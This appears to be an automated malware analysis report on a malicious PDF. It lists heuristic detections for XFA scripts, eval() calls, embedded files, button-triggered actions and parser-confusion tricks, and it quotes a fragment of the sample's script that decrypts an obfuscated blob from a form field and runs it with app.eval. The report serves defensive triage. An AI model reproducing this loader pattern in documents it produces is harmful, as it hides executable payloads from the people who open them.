Malicious PDF — malware analysis report

Heuristics 9

• XFA form contains risky executable script high CVE related PDF_XFA_SCRIPT
  PDF embeds an XFA form whose script block contains exploit, submission/launch, or shell-execution primitives. Ordinary LiveCycle print/update scripts are left as generic XFA/JS signals unless stronger behavior is present.
• eval() call high PDF_EVAL
  eval() found — commonly used for obfuscated exploit execution (matched inside decoded stream)
  Matched line in script

  return decryptedText;}
  app.eval(decryptText(StaticText1.rawValue))
  </script></event></field><draw xmlns="http://www.xfa.org/schema/xfa-template/2.2/" h="31.75mm" name="StaticText1" w="57.1499mm" x="63.5mm" y="66.675mm"><ui><textEdit></textEdit></ui><value><text>I+E7E,E"&amp;&gt;E&amp;,"&gt;E,7a7^"E,"JEF"E,"E^]7I+E7mnp7a7,I,AG)G+E",G)-BB&amp;:+E&amp;xBBG]I+E71y27a7mnp]I+E7JF7a71y2)*=&lt;\.E,A/O!)A+:,]I+E7.7a7JF)E,C\+*,8YZY"[7^^9];HA*G&lt;BA7FGENE,C,+G8FGE[\,A95J=&lt;\,8FGE)\,A"G=7b7\,A95FGE7}a7FGE]6E,GHEA7FGE)FH-FGE&lt;A"8O[7\,A9]6;HA*G&lt;BA7\&lt;-G&lt;;;8I,EF& …

• Embedded file low PDF_EMBEDDED
  PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
• XFA form low PDF_XFA
  PDF uses XML Forms Architecture — can contain script logic
• AcroForm button with action trigger low PDF_ACROFORM_BUTTON
  PDF contains a /Btn form field together with a SubmitForm/URI/Launch/JS trigger — this is the building block of fake 'Download' or 'Open' button overlays used in PDF phishing lures
• Embedded script payload in PDF stream info PDF_EMBEDDED_SCRIPT_PAYLOAD
  PDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
• Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
  The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
• Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
  One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://DM.YY/aeatr In PDF document text

  • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
  • http://ns.adobe.com/xap/1.0/In PDF document text
  • http://ns.adobe.com/xap/1.0/mm/In PDF document text
  • http://purl.org/dc/elements/1.1/In PDF document text
  • http://ns.adobe.com/pdf/1.3/In PDF document text
  • http://ns.adobe.com/xdp/In PDF document text
  • http://www.xfa.org/schema/xci/1.0/In PDF document text
  • http://www.xfa.org/schema/xfa-template/2.1/In PDF document text
  • http://www.xfa.org/schema/xfa-template/2.2/In PDF document text
  • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
  • http://www.xfa.org/schema/xfa-locale-set/2.1/In PDF document text
  • http://ns.adobe.com/xtd/In PDF document text

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